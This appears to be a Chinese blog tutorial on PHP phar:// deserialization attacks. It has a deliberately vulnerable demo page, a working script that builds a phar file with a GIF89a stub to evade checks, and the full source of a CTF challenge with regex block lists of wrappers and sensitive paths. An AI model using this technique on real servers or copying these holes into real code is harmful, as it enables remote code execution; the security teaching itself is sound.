phar 实现php反序列化

0x00 背景

在Blackhat2018,安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。

0x01 原理

漏洞触发点在使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的Metadata信息会被反序列化。当内核调用phar_parse_metadata()解析metadata数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。

0x02 漏洞利用

利用条件

  • phar文件要能够上传到服务器端。
  • 要有可用的魔术方法作为“跳板”。
  • 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

下面的函数可以利用

测试demo

1
2
3
4
5
6
7
8
9
10
11
12
//index.php
<?php
class foo
{
var $ha = 'echo "ok";';
function __destruct()
{
eval($this->ha);
}
}
$ka = $_GET['file'];
file_exists($ka);

可以看到foo是一个危险函数,当危险的对象被反序列化时eval会导致命令执行。这里正好有一个file_exists的文件操作函数,为了测试方便,我们直接生成phar文件放在index.php所在目录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//构造phar文件的代码
<?php
//把要进行反序列化的对象放在此处
class foo
{
var $ha = 'echo "ok";';
function __destruct()
{
eval($this->ha);
}
}
//生成对应可被利用的对象
$o = new foo();
   $o->ha='echo "hello boogle";';
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

这里因为调用了phar的setMetadata方法,所以需要设置php.ini中phar.readonly = Off
而使用phar文件只需要(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)即可。
这里生成的phar.phar可以修改为任意文件后缀,比如1.gif。
然后访问index.php,使用phar://读取

0x03 CTF题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
<?php 

$SECRET = `../read_secret`;
$SANDBOX = "../data/" . md5($SECRET. $_SERVER["REMOTE_ADDR"]);
$FILEBOX = "../file/" . md5("K0rz3n". $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@mkdir($FILEBOX);



if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("md5", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}


class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}


class K0rz3n_secret_flag {
protected $file_path;
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}


function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)){
die("Bye");
}
if ( !hash_equals(hash_hmac("md5", $data, $SECRET), $hmac) ){
die("Bye Bye");
}
$data = unserialize($data);

if ( !isset($data->avatar) ){
die("Bye Bye Bye");
}
return $data->avatar;
}


function upload($path) {
if(isset($_GET['url'])){
if(preg_match('/^(http|https).*/i', $_GET['url'])){
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a"){
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}else{
die("Hacker");
}
}else{
die("Miss the URL~~");
}
}


function show($path) {
if ( !is_dir($path) || !file_exists($path . "/avatar.gif")) {

$path = "/var/www";
}
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}


function check($path){
if(isset($_GET['c'])){
if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file)(.|\\s)*/i',$_GET['c'])){
die("Hacker Hacker Hacker");
}else{
$file_path = $_GET['c'];
list($width, $height, $type) = @getimagesize($file_path);
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}else{
list($width, $height, $type) = @getimagesize($path."/avatar.gif");
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}


function move($source_path,$dest_name){
global $FILEBOX;
$dest_path = $FILEBOX . "/" . $dest_name;
if(preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i',$source_path)){
die("Hacker Hacker Hacker");
}else{
if(copy($source_path,$dest_path)){
die("Successful copy");
}else{
die("Copy failed");
}
}
}




$mode = $_GET["m"];

if ($mode == "upload"){
upload(check_session());
}
else if ($mode == "show"){
show(check_session());
}
else if ($mode == "check"){
check(check_session());
}
else if($mode == "move"){
move($_GET['source'],$_GET['dest']);
}
else{

highlight_file(__FILE__);
}

include("./comments.html");

参考文章:
https://www.cnblogs.com/iceli/p/9564061.html
https://paper.seebug.org/680/

本文标题:phar 实现php反序列化

文章作者:boogle

发布时间:2018年11月24日 - 14:04

最后更新:2019年03月07日 - 11:37

原始链接:https://zhengbao.wang/phar-实现php反序列化/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗